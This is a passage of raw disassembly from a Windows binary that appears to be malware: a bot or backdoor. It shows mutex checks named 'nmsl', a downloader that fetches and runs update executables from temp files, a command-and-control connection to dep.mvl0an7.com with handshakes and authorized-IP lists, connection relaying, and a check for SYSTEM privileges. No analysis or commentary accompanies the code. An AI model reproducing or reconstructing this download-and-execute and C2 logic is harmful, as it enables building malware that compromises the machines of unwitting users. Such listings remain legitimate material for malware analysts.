0Ah jl loc_444847 push edi call sub_4484C1 ; closesocket xor eax, eax loc_4449CE: ; CODE XREF: sub_44478D+134j ; sub_44478D+16Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44478D endp ; --------------------------------------------------------------------------- push ebx push esi push edi loc_4449D8: ; CODE XREF: DMN1:loc_444A66j xor ebx, ebx inc ebx loc_4449DB: ; CODE XREF: DMN1:004449EAj push 0EA60h call dword_411D04 ; Sleep inc ebx cmp ebx, 3Fh jl short loc_4449DB call sub_44457E mov edi, eax mov eax, dword_411010 mov si, ax movzx eax, si push eax movzx eax, word ptr dword_41100C push eax push edi call sub_44478D add esp, 0Ch mov si, ax test si, si jz short loc_444A38 movzx eax, si cmp eax, dword_411010 jz short loc_444A38 movzx eax, si mov dword_411010, eax push 1 push offset dword_411024 call dword_411D08 ; InterlockedExchange loc_444A38: ; CODE XREF: DMN1:00444A16j ; DMN1:00444A21j movzx eax, word ptr dword_41100C push eax push eax call sub_443F6D pop ecx pop ecx test eax, eax jz short loc_444A66 mov eax, dword_41100C cmp dword_411010, eax jz short loc_444A66 push 1 push offset dword_411024 call dword_411D08 ; InterlockedExchange loc_444A66: ; CODE XREF: DMN1:00444A4Aj ; DMN1:00444A57j jmp loc_4449D8 ; --------------------------------------------------------------------------- pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_444A6F proc near ; CODE XREF: sub_447EEC+77p push ebx cmp dword_411018, 0 jz short loc_444A7D xor eax, eax jmp short loc_444AC1 ; --------------------------------------------------------------------------- loc_444A7D: ; CODE XREF: sub_444A6F+8j xor ebx, ebx push offset a__win32__nmsl_ ; "__win32__nmsl_sdm__" push 0 push 0 call dword_411D0C ; CreateMutexA mov dword_411018, eax cmp dword_411018, 0 jz short loc_444ABF call dword_411CEC ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_444ABF xor ebx, ebx inc ebx push dword_411018 call dword_411CFC ; CloseHandle and dword_411018, 0 loc_444ABF: ; CODE XREF: sub_444A6F+2Bj ; sub_444A6F+38j mov eax, ebx loc_444AC1: ; CODE XREF: sub_444A6F+Cj pop ebx retn sub_444A6F endp ; =============== S U B R O U T I N E ======================================= sub_444AC3 proc near ; CODE XREF: DMN1:loc_445455p ; DMN1:004454FAp ... push ebx push esi xor esi, esi push offset a__win32__nmsl_ ; "__win32__nmsl_sdm__" push 0 push 100000h call dword_411D10 ; OpenMutexA mov ebx, eax test ebx, ebx jz short loc_444AEB xor esi, esi inc esi push ebx call dword_411CFC ; CloseHandle xor ebx, ebx loc_444AEB: ; CODE XREF: sub_444AC3+1Aj mov eax, esi pop esi pop ebx retn sub_444AC3 endp ; =============== S U B R O U T I N E ======================================= sub_444AF0 proc near ; CODE XREF: sub_447EEC+C5p cmp dword_411018, 0 jz short locret_444B0C push dword_411018 call dword_411CFC ; CloseHandle and dword_411018, 0 locret_444B0C: ; CODE XREF: sub_444AF0+7j retn sub_444AF0 endp ; --------------------------------------------------------------------------- push ebx cmp dword_41101C, 0 jz short loc_444B1B xor eax, eax jmp short loc_444B5F ; --------------------------------------------------------------------------- loc_444B1B: ; CODE XREF: DMN1:00444B15j xor ebx, ebx push offset a_win32__nmsl_s ; "_win32__nmsl_sm__" push 0 push 0 call dword_411D0C ; CreateMutexA mov dword_41101C, eax cmp dword_41101C, 0 jz short loc_444B5D call dword_411CEC ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_444B5D xor ebx, ebx inc ebx push dword_41101C call dword_411CFC ; CloseHandle and dword_41101C, 0 loc_444B5D: ; CODE XREF: DMN1:00444B38j ; DMN1:00444B45j mov eax, ebx loc_444B5F: ; CODE XREF: DMN1:00444B19j pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_444B61 proc near ; CODE XREF: DMN1:00447C89p ; DMN1:loc_447E13p push ebx push esi xor esi, esi push offset a_win32__nmsl_s ; "_win32__nmsl_sm__" push 0 push 100000h call dword_411D10 ; OpenMutexA mov ebx, eax test ebx, ebx jz short loc_444B89 xor esi, esi inc esi push ebx call dword_411CFC ; CloseHandle xor ebx, ebx loc_444B89: ; CODE XREF: sub_444B61+1Aj mov eax, esi pop esi pop ebx retn sub_444B61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444B8E proc near ; CODE XREF: DMN1:00444F73p ; sub_447EEC+FBp ... var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 854h push ebx push esi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] test esi, esi jz short loc_444BA6 and dword ptr [esi], 0 loc_444BA6: ; CODE XREF: sub_444B8E+13j push 44h push 0 lea eax, [ebp+var_44] push eax call sub_448DCB add esp, 0Ch mov [ebp+var_44], 44h test ebx, ebx jz short loc_444BD6 push offset asc_40EDC3 ; "\"" lea eax, [ebp+var_844] push eax call sub_448E6B pop ecx pop ecx jmp short loc_444BDD ; --------------------------------------------------------------------------- loc_444BD6: ; CODE XREF: sub_444B8E+31j mov [ebp+var_844], 0 loc_444BDD: ; CODE XREF: sub_444B8E+46j cmp [ebp+arg_0], 0 jz short loc_444BF6 push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_448E8B pop ecx pop ecx jmp short loc_444C09 ; --------------------------------------------------------------------------- loc_444BF6: ; CODE XREF: sub_444B8E+53j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" lea eax, [ebp+var_844] push eax call sub_448E8B pop ecx pop ecx loc_444C09: ; CODE XREF: sub_444B8E+66j test ebx, ebx jz short loc_444C20 push offset asc_40EDC3 ; "\"" lea eax, [ebp+var_844] push eax call sub_448E8B pop ecx pop ecx loc_444C20: ; CODE XREF: sub_444B8E+7Dj cmp [ebp+arg_4], 0 jz short loc_444C4A push offset asc_40EDA4 ; " " lea eax, [ebp+var_844] push eax call sub_448E8B pop ecx pop ecx push [ebp+arg_4] lea eax, [ebp+var_844] push eax call sub_448E8B pop ecx pop ecx loc_444C4A: ; CODE XREF: sub_444B8E+96j lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D14 ; CreateProcessA test eax, eax jz short loc_444C9D push [ebp+var_850] call dword_411CFC ; CloseHandle test esi, esi jz short loc_444C8E mov eax, [ebp+var_854] mov [esi], eax jmp short loc_444C9A ; --------------------------------------------------------------------------- loc_444C8E: ; CODE XREF: sub_444B8E+F4j push [ebp+var_854] call dword_411CFC ; CloseHandle loc_444C9A: ; CODE XREF: sub_444B8E+FEj xor eax, eax inc eax loc_444C9D: ; CODE XREF: sub_444B8E+E4j pop esi pop ebx mov esp, ebp pop ebp retn sub_444B8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444CA3 proc near ; CODE XREF: DMN1:00444E6Ap var_408 = dword ptr -408h var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 408h push ebx push esi push edi push 0 push 0 push 0 push 1 push offset aMsdownloader ; "msdownloader" call dword_411EF4 ; InternetOpenA mov edi, eax push edi push offset aInternetopenI ; "InternetOpen(): %i\n" call nullsub_4 pop ecx pop ecx test edi, edi jnz short loc_444CDC xor eax, eax jmp loc_444DFE ; --------------------------------------------------------------------------- loc_444CDC: ; CODE XREF: sub_444CA3+30j push 0 push 80080300h push 0 push 0 push [ebp+arg_0] push edi call dword_411EF8 ; InternetOpenUrlA mov ebx, eax push edi push offset aInternetopenur ; "InternetOpenUrl(): %i\n" call nullsub_4 pop ecx pop ecx test ebx, ebx jnz short loc_444D12 push edi call dword_411EFC ; InternetCloseHandle xor eax, eax jmp loc_444DFE ; --------------------------------------------------------------------------- loc_444D12: ; CODE XREF: sub_444CA3+5Fj push offset aWb_0 ; "wb" push [ebp+arg_4] call sub_448AFB pop ecx pop ecx mov esi, eax test esi, esi jnz short loc_444D4B push [ebp+arg_4] push offset aFopenS___ ; "fopen(%s)...\n" call nullsub_4 pop ecx pop ecx push ebx call dword_411EFC ; InternetCloseHandle push edi call dword_411EFC ; InternetCloseHandle xor eax, eax jmp loc_444DFE ; --------------------------------------------------------------------------- loc_444D4B: ; CODE XREF: sub_444CA3+82j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadingSS ; "downloading [%s] --> %s\r\n" call nullsub_4 add esp, 0Ch push 0 call dword_411D18 ; RtlRestoreLastWin32Error jmp short loc_444D83 ; --------------------------------------------------------------------------- loc_444D68: ; CODE XREF: sub_444CA3+F9j cmp [ebp+var_4], 0 jz short loc_444D9E push esi push 1 push [ebp+var_4] lea eax, [ebp+var_404] push eax call sub_448F5B add esp, 10h loc_444D83: ; CODE XREF: sub_444CA3+C3j lea eax, [ebp+var_4] push eax push 3FFh lea eax, [ebp+var_404] push eax push ebx call dword_411F00 ; InternetReadFile test eax, eax jnz short loc_444D68 loc_444D9E: ; CODE XREF: sub_444CA3+C9j call dword_411CEC ; RtlGetLastWin32Error mov [ebp+var_408], eax push esi call sub_448D5B pop ecx push ebx call dword_411EFC ; InternetCloseHandle push edi call dword_411EFC ; InternetCloseHandle cmp [ebp+var_408], 0 jz short loc_444DE8 push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n" call nullsub_4 add esp, 0Ch push [ebp+arg_4] call dword_411D1C ; DeleteFileA xor eax, eax jmp short loc_444DFE ; --------------------------------------------------------------------------- loc_444DE8: ; CODE XREF: sub_444CA3+123j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n" call nullsub_4 add esp, 0Ch xor eax, eax inc eax loc_444DFE: ; CODE XREF: sub_444CA3+34j ; sub_444CA3+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_444CA3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 3400h call sub_448F2B push ebx push esi push edi mov ebx, [ebp+8] mov byte ptr [ebp-2400h], 0 mov byte ptr [ebp-1000h], 0 mov esi, ebx push esi push offset aUpdateUrlS ; "UPDATE URL: <%s>\n" call nullsub_4 pop ecx pop ecx lea eax, [ebp-3400h] push eax push 0FFFh call dword_411D20 ; GetTempPathA lea eax, [ebp-2400h] push eax push 0 push offset aMsss ; "msss" lea eax, [ebp-3400h] push eax call dword_411D24 ; GetTempFileNameA lea eax, [ebp-2400h] push eax push esi call sub_444CA3 pop ecx pop ecx test eax, eax jz loc_444F8C lea eax, [ebp-2400h] push eax push offset aDownloadedToS ; "downloaded to: <%s>\n" call nullsub_4 pop ecx pop ecx lea eax, [ebp-3400h] push eax push 0FFFh call dword_411D20 ; GetTempPathA lea eax, [ebp-1000h] push eax push 0 push offset aMsssx ; "msssx" lea eax, [ebp-3400h] push eax call dword_411D24 ; GetTempFileNameA mov edi, dword_4128A8 push 0 lea eax, [ebp-1000h] push eax push edi call dword_411D28 ; CopyFileA test eax, eax jz loc_444F8C push 80h lea eax, [ebp-1000h] push eax call dword_411D2C ; SetFileAttributesA push offset aUpdate ; "*update \"" lea eax, [ebp-1400h] push eax call sub_448E6B pop ecx pop ecx lea eax, [ebp-2400h] push eax lea eax, [ebp-1400h] push eax call sub_448E8B pop ecx pop ecx push offset asc_40ECC7 ; "\" \"" lea eax, [ebp-1400h] push eax call sub_448E8B pop ecx pop ecx push edi lea eax, [ebp-1400h] push eax call sub_448E8B pop ecx pop ecx push offset asc_40EDC3 ; "\"" lea eax, [ebp-1400h] push eax call sub_448E8B pop ecx pop ecx lea eax, [ebp-1400h] push eax lea eax, [ebp-1000h] push eax push offset aRunningSS___ ; "running %s (%s)...\r\n" call nullsub_4 add esp, 0Ch push 0 push 1 lea eax, [ebp-1400h] push eax lea eax, [ebp-1000h] push eax call sub_444B8E add esp, 10h test eax, eax jz short loc_444F8C loc_444F7F: ; CODE XREF: DMN1:00444F8Aj push 1770h call dword_411D04 ; Sleep jmp short loc_444F7F ; --------------------------------------------------------------------------- loc_444F8C: ; CODE XREF: DMN1:00444E73j ; DMN1:00444ED1j ... push 0 push offset dword_411014 call dword_411D08 ; InterlockedExchange lea eax, [ebp-2400h] push eax call sub_448E4B pop ecx test eax, eax jz short loc_444FB7 lea eax, [ebp-2400h] push eax call dword_411D1C ; DeleteFileA loc_444FB7: ; CODE XREF: DMN1:00444FA8j lea eax, [ebp-1000h] push eax call sub_448E4B pop ecx test eax, eax jz short loc_444FD5 lea eax, [ebp-1000h] push eax call dword_411D1C ; DeleteFileA loc_444FD5: ; CODE XREF: DMN1:00444FC6j push ebx call sub_4424E1 pop ecx call sub_44919B pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_444FE9 proc near ; CODE XREF: DMN1:loc_44527Fp xor ecx, ecx mov eax, ecx retn sub_444FE9 endp ; =============== S U B R O U T I N E ======================================= sub_444FEE proc near ; CODE XREF: DMN1:004451E5p ; DMN1:004451F7p xor eax, eax retn sub_444FEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444FF1 proc near ; CODE XREF: DMN1:00445370p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi mov ebx, [ebp+arg_4] xor esi, esi push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection cmp [ebp+arg_8], 0 jnz short loc_445019 push dword_412938 call sub_443406 pop ecx loc_445019: ; CODE XREF: sub_444FF1+1Aj mov esi, [ebp+arg_0] mov eax, ebx mov ecx, 4 cdq idiv ecx mov ebx, eax jmp short loc_445061 ; --------------------------------------------------------------------------- loc_44502A: ; CODE XREF: sub_444FF1+72j push 0 push dword ptr [esi] push dword_412938 call sub_4434B4 add esp, 0Ch mov eax, [esi] mov [ebp+var_4], eax push eax call sub_44851B ; inet_ntoa push eax mov eax, dword_412938 push dword ptr [eax+8] push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n" call nullsub_4 add esp, 0Ch dec ebx add esi, 4 loc_445061: ; CODE XREF: sub_444FF1+37j test ebx, ebx jg short loc_44502A push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection xor eax, eax inc eax pop esi pop ebx mov esp, ebp pop ebp retn sub_444FF1 endp ; --------------------------------------------------------------------------- push ebx push edi mov ecx, [esp+0Ch] mov ebx, [esp+10h] xor edi, edi jmp short loc_445093 ; --------------------------------------------------------------------------- loc_445087: ; CODE XREF: DMN1:0044509Dj mov eax, [ebx+4] mov [ecx], eax mov ebx, [ebx+8] add ecx, 4 inc edi loc_445093: ; CODE XREF: DMN1:00445085j cmp edi, 4000h jge short loc_44509F test ebx, ebx jnz short loc_445087 loc_44509F: ; CODE XREF: DMN1:00445099j mov edx, [esp+14h] mov [edx], edi mov eax, ebx pop edi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push dword_412938 call sub_443406 pop ecx push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection push offset aDep_mvl0an7_co ; "dep.mvl0an7.com" call sub_442C29 pop ecx mov [ebp-14h], eax test eax, eax jz short loc_4450F2 cmp eax, 0FFFFFFFFh jz short loc_4450F2 test eax, eax jnz short loc_4450F7 loc_4450F2: ; CODE XREF: DMN1:004450E5j ; DMN1:004450ECj jmp loc_445424 ; --------------------------------------------------------------------------- loc_4450F7: ; CODE XREF: DMN1:004450F0j mov word ptr [ebp-16h], 247Fh xor esi, esi and dword ptr [ebp-0Ch], 0 push 0 push offset dword_411024 call dword_411D08 ; InterlockedExchange cmp dword_411004, 0 jnz short loc_445135 movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_443847 pop ecx pop ecx mov dword_411004, eax loc_445135: ; CODE XREF: DMN1:00445117j movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_4438B4 pop ecx pop ecx push dword_411010 push offset aMyPortI ; "my port [%i]\n" call nullsub_4 pop ecx pop ecx mov eax, [ebp-14h] mov [ebp-1Ch], eax push eax call sub_44851B ; inet_ntoa mov [ebp-20h], eax movzx eax, word ptr [ebp-16h] push eax push dword ptr [ebp-20h] push offset aSrvSI ; "SRV: [%s:%i]\n" call nullsub_4 add esp, 0Ch and dword ptr [ebp-10h], 0 call sub_4427C4 mov [ebp-10h], eax test eax, eax jz loc_445424 push dword ptr [ebp-10h] call sub_442E2E pop ecx mov esi, eax push offset aSrvConnecting_ ; "SRV: connecting...\n" call nullsub_4 pop ecx movzx eax, word ptr [ebp-16h] push eax push dword ptr [ebp-14h] push dword ptr [ebp-10h] call sub_4429D2 add esp, 0Ch test eax, eax jnz short loc_4451D3 push offset aSrvConnectingF ; "SRV: connecting failed.\n" call nullsub_4 pop ecx jmp loc_445424 ; --------------------------------------------------------------------------- loc_4451D3: ; CODE XREF: DMN1:004451C1j push offset aSrvHandshaki_0 ; "SRV: handshaking...\n" call nullsub_4 pop ecx mov dword ptr [ebp-24h], 1000h call sub_444FEE push eax push offset aSrvRip?I ; "SRV: rip? %i\n" call nullsub_4 pop ecx pop ecx call sub_444FEE test eax, eax jz short loc_445204 or dword ptr [ebp-24h], 1 loc_445204: ; CODE XREF: DMN1:004451FEj push dword ptr [ebp-24h] movzx eax, word ptr dword_411010 push eax push esi call sub_4431E1 add esp, 0Ch test eax, eax jnz short loc_44522C push offset aSrvHandshaking ; "SRV: handshaking failed.\n" call nullsub_4 pop ecx jmp loc_445424 ; --------------------------------------------------------------------------- loc_44522C: ; CODE XREF: DMN1:0044521Aj push offset byte_40EBED call nullsub_4 pop ecx push esi call sub_4433BC pop ecx mov [ebp-8], eax test eax, eax jz short loc_445255 push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n" call nullsub_4 pop ecx jmp loc_445424 ; --------------------------------------------------------------------------- loc_445255: ; CODE XREF: DMN1:00445243j test byte ptr [ebp-24h], 1 jz loc_44530C push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n" call nullsub_4 pop ecx push 10004h call sub_4424B3 pop ecx mov [ebp-30h], eax mov [ebp-2Ch], eax and dword ptr [ebp-28h], 0 loc_44527F: ; CODE XREF: DMN1:004452A2j call sub_444FE9 mov edi, eax test edi, edi jz short loc_4452A4 mov edx, [ebp-2Ch] mov [edx], edi mov eax, [ebp-2Ch] add eax, 4 mov [ebp-2Ch], eax inc dword ptr [ebp-28h] cmp dword ptr [ebp-28h], 3FFFh jl short loc_44527F loc_4452A4: ; CODE XREF: DMN1:00445288j mov eax, [ebp-28h] add eax, eax add eax, eax push eax push dword ptr [ebp-30h] push 100h push esi call sub_442FFA add esp, 10h test eax, eax jnz short loc_4452DA push dword ptr [ebp-30h] call sub_4424E1 pop ecx push offset sub_40EB90 call nullsub_4 pop ecx jmp loc_445424 ; --------------------------------------------------------------------------- loc_4452DA: ; CODE XREF: DMN1:004452BFj push dword ptr [ebp-30h] call sub_4424E1 pop ecx push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n" call nullsub_4 pop ecx push esi call sub_4433BC pop ecx mov [ebp-8], eax test eax, eax jz short loc_44530C push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n" call nullsub_4 pop ecx jmp loc_445424 ; --------------------------------------------------------------------------- loc_44530C: ; CODE XREF: DMN1:00445259j ; DMN1:004452FAj ... push 0FFFFh push 0 lea eax, [ebp-2] push eax push esi call sub_4431C6 add esp, 10h mov ebx, eax test ebx, ebx jl loc_445424 movzx eax, word ptr [ebp-2] mov [ebp-28h], eax cmp eax, 200h jz short loc_44534B cmp eax, 201h jz short loc_44538C cmp eax, 202h jz short loc_44535B jmp loc_44541F ; --------------------------------------------------------------------------- loc_44534B: ; CODE XREF: DMN1:00445336j push offset byte_40EB51 call nullsub_4 pop ecx jmp loc_445424 ; --------------------------------------------------------------------------- loc_44535B: ; CODE XREF: DMN1:00445344j push offset dword_40EB44 call nullsub_4 pop ecx push dword ptr [ebp-0Ch] push ebx push dword ptr [esi+470h] call sub_444FF1 add esp, 0Ch test eax, eax jz loc_44541F mov dword ptr [ebp-0Ch], 1 jmp loc_44541F ; --------------------------------------------------------------------------- loc_44538C: ; CODE XREF: DMN1:0044533Dj test ebx, ebx jnz short loc_445399 mov edx, [esi+470h] mov byte ptr [edx], 0 loc_445399: ; CODE XREF: DMN1:0044538Ej push dword ptr [esi+470h] push offset sub_40EB31 call nullsub_4 pop ecx pop ecx test ebx, ebx jz short loc_44541F push dword ptr [esi+470h] call sub_448E4B pop ecx test eax, eax jz short loc_44541F push 0 push offset dword_411014 call dword_411D30 ; InterlockedExchangeAdd test eax, eax jnz short loc_44541F push 1 push offset dword_411014 call dword_411D08 ; InterlockedExchange push 10000h call sub_4424B3 pop ecx mov [ebp-2Ch], eax push dword ptr [esi+470h] push dword ptr [ebp-2Ch] call sub_448E6B pop ecx pop ecx push offset sub_40EB17 call nullsub_4 pop ecx push dword ptr [ebp-2Ch] push 0 push offset sub_40399A call sub_44910B add esp, 0Ch push eax call dword_411CFC ; CloseHandle loc_44541F: ; CODE XREF: DMN1:00445346j ; DMN1:0044537Aj ... jmp loc_44530C ; --------------------------------------------------------------------------- loc_445424: ; CODE XREF: DMN1:loc_4450F2j ; DMN1:00445190j ... test esi, esi jz short loc_44542F push esi call sub_442EA6 pop ecx loc_44542F: ; CODE XREF: DMN1:00445426j cmp dword ptr [ebp-10h], 0 jz short loc_44543E push dword ptr [ebp-10h] call sub_44292D pop ecx loc_44543E: ; CODE XREF: DMN1:00445433j push offset aSrvcommthreadD ; "SrvCommThread: done\n" call nullsub_4 pop ecx call sub_44919B pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_445455: ; CODE XREF: DMN1:00445476j call sub_444AC3 test eax, eax jz short loc_44546B call sub_446867 push 0 call dword_411D34 ; ExitProcess loc_44546B: ; CODE XREF: DMN1:0044545Cj push 3E8h call dword_411D04 ; Sleep jmp short loc_445455 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push esi push edi and dword ptr [ebp-4], 0 loc_445484: ; CODE XREF: DMN1:0044551Dj push 0 push 0 push offset sub_403C3F call sub_44910B add esp, 0Ch mov esi, eax push 0FFFFFFFFh mov eax, esi push eax call dword_411D38 ; WaitForSingleObject mov eax, esi push eax call dword_411CFC ; CloseHandle cmp dword_411034, 0 jz short loc_445522 lea eax, [ebp-4] push eax call sub_44246C pop ecx mov ecx, 3Ch cdq idiv ecx lea eax, [edx+6EAh] mov edi, eax push edi push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n" call nullsub_4 pop ecx pop ecx mov ebx, edi jmp short loc_445505 ; --------------------------------------------------------------------------- loc_4454DF: ; CODE XREF: DMN1:00445507j push ebx push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b." call nullsub_4 pop ecx pop ecx push 7D0h call dword_411D04 ; Sleep sub ebx, 2 call sub_444AC3 test eax, eax jz short loc_445505 xor ebx, ebx loc_445505: ; CODE XREF: DMN1:004454DDj ; DMN1:00445501j test ebx, ebx jg short loc_4454DF push offset asc_40EAB5 ; "\r \r" call nullsub_4 pop ecx cmp dword_411034, 0 jz short loc_445522 jmp loc_445484 ; --------------------------------------------------------------------------- loc_445522: ; CODE XREF: DMN1:004454B2j ; DMN1:0044551Bj call sub_44919B pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44552E proc near ; CODE XREF: sub_447EEC+3DFp ; sub_447EEC+488p ... var_44 = dword ptr -44h var_40 = byte ptr -40h var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 44h mov [ebp+var_44], 3Fh lea eax, [ebp+var_44] push eax lea eax, [ebp+var_40] push eax call dword_411E44 ; GetUserNameA test eax, eax jz short loc_445575 cmp [ebp+var_44], 6 jnb short loc_445557 xor eax, eax jmp short loc_445575 ; --------------------------------------------------------------------------- loc_445557: ; CODE XREF: sub_44552E+23j mov [ebp+var_1], 0 lea eax, [ebp+var_40] push eax push offset aSystem ; "SYSTEM" call dword_411D3C ; lstrcmpi test eax, eax jz short loc_445572 xor eax, eax jmp short loc_445575 ; --------------------------------------------------------------------------- loc_445572: ; CODE XREF: sub_44552E+3Ej xor eax, eax inc eax loc_445575: ; CODE XREF: sub_44552E+1Dj ; sub_44552E+27j ... mov esp, ebp pop ebp retn sub_44552E endp ; =============== S U B R O U T I N E ======================================= sub_445579 proc near ; CODE XREF: sub_4472C4+1p ; DMN1:loc_447454p ... push ebx cmp dword_411028, 0 jz short loc_445587 xor eax, eax jmp short loc_4455CB ; --------------------------------------------------------------------------- loc_445587: ; CODE XREF: sub_445579+8j xor ebx, ebx push offset a_win32__nmsl_u ; "_win32__nmsl_um__" push 0 push 0 call dword_411D0C ; CreateMutexA mov dword_411028, eax cmp dword_411028, 0 jz short loc_4455C9 call dword_411CEC ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_4455C9 xor ebx, ebx inc ebx push dword_411028 call dword_411CFC ; CloseHandle and dword_411028, 0 loc_4455C9: ; CODE XREF: sub_445579+2Bj ; sub_445579+38j mov eax, ebx loc_4455CB: ; CODE XREF: sub_445579+Cj pop ebx retn sub_445579 endp ; =============== S U B R O U T I N E ======================================= sub_4455CD proc near ; CODE XREF: sub_4472C4+3Dp ; DMN1:00447438p ... cmp dword_411028, 0 jz short locret_4455E9 push dword_411028 call dword_411CFC ; CloseHandle and dword_411028, 0 locret_4455E9: ; CODE XREF: sub_4455CD+7j retn sub_4455CD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h push ebx push esi push edi mov eax, [ebp+8] mov [ebp-418h], eax mov eax, [eax+8] mov [ebp-4], eax xor edi, edi mov eax, [ebp-418h] mov edx, [eax] mov [ebp-40Ch], edx push eax call sub_4424E1 pop ecx push offset dword_412860 call dword_411CD0 ; RtlEnterCriticalSection push 0 push dword ptr [ebp-40Ch] push dword_412938 call sub_44344E add esp, 0Ch mov [ebp-420h], eax push offset dword_412860 call dword_411CD4 ; RtlLeaveCriticalSection cmp dword ptr [ebp-420h], 0 jnz short loc_445686 mov eax, [ebp-40Ch] mov [ebp-41Ch], eax push eax call sub_44851B ; inet_ntoa mov [ebp-414h], eax push dword ptr [ebp-414h] push offset aConnectionReje ; "connection rejected (from [%s])\n" call nullsub_3 pop ecx pop ecx jmp loc_44584D ; --------------------------------------------------------------------------- loc_445686: ; CODE XREF: DMN1:00445655j mov word ptr [ebp-40Eh], 0C1Dh push offset a127_0_0_1 ; "127.0.0.1" call sub_442C29 pop ecx mov [ebp-40Ch], eax test eax, eax jz short loc_4456AF cmp eax, 0FFFFFFFFh jz short loc_4456AF test eax, eax jnz short loc_4456B4 loc_4456AF: ; CODE XREF: DMN1:004456A2j ; DMN1:004456A9j jmp loc_44584D ; --------------------------------------------------------------------------- loc_4456B4: ; CODE XREF: DMN1:004456ADj mov eax, [ebp-40Ch] mov [ebp-41Ch], eax push eax call sub_44851B ; inet_ntoa mov [ebp-414h], eax movzx eax, word ptr [ebp-40Eh] push eax push dword ptr [ebp-414h] push offset aConnectingToSI ; "connecting to %s:%i\n" call nullsub_3 add esp, 0Ch movzx eax, word ptr [ebp-40Eh] push eax push dword ptr [ebp-40Ch] push edi call sub_4429D2 add esp, 0Ch test eax, eax jnz short loc_445728 call sub_44852D ; WSAGetLastError push eax movzx eax, word ptr [ebp-40Eh] push eax push dword ptr [ebp-414h] push offset aConnectionToSI ; "connection to %s:%i failed! %-( (%i)\n" call nullsub_3 add esp, 10h jmp loc_44584D ; --------------------------------------------------------------------------- loc_445728: ; CODE XREF: DMN1:00445700j movzx eax, word ptr [ebp-40Eh] push eax push dword ptr [ebp-414h] push offset aConnectedToSI ; "connected to %s:%i\n" call nullsub_3 add esp, 0Ch xor esi, esi loc_445745: ; CODE XREF: DMN1:0044582Cj ; DMN1:0044583Dj inc esi push dword ptr [ebp-4] call sub_44293A pop ecx test eax, eax jl loc_445842 push dword ptr [ebp-4] call sub_4429AD pop ecx mov ebx, eax test ebx, ebx jl loc_445842 cmp esi, 1Eh jle short loc_445776 test ebx, ebx jnz short loc_445776 xor ebx, ebx inc ebx loc_445776: ; CODE XREF: DMN1:0044576Dj ; DMN1:00445771j test ebx, ebx jle short loc_4457C2 cmp ebx, 400h jle short loc_445787 mov ebx, 400h loc_445787: ; CODE XREF: DMN1:00445780j push ebx lea eax, [ebp-408h] push eax push dword ptr [ebp-4] call sub_442B47 add esp, 0Ch mov [ebp-8], eax test eax, eax jle loc_445842 push dword ptr [ebp-8] lea eax, [ebp-408h] push eax push edi call sub_442BF2 add esp, 0Ch test eax, eax jle loc_44584D xor esi, esi loc_4457C2: ; CODE XREF: DMN1:00445778j push edi call sub_44293A pop ecx test eax, eax jl short loc_445842 push edi call sub_4429AD pop ecx mov ebx, eax test ebx, ebx jl short loc_445842 cmp esi, 1Eh jle short loc_4457E6 test ebx, ebx jnz short loc_4457E6 xor ebx, ebx inc ebx loc_4457E6: ; CODE XREF: DMN1:004457DDj ; DMN1:004457E1j test ebx, ebx jle short loc_44582A cmp ebx, 400h jle short loc_4457F7 mov ebx, 400h loc_4457F7: ; CODE XREF: DMN1:004457F0j push ebx lea eax, [ebp-408h] push eax push edi call sub_442B47 add esp, 0Ch mov [ebp-8], eax test eax, eax jle short loc_445842 push dword ptr 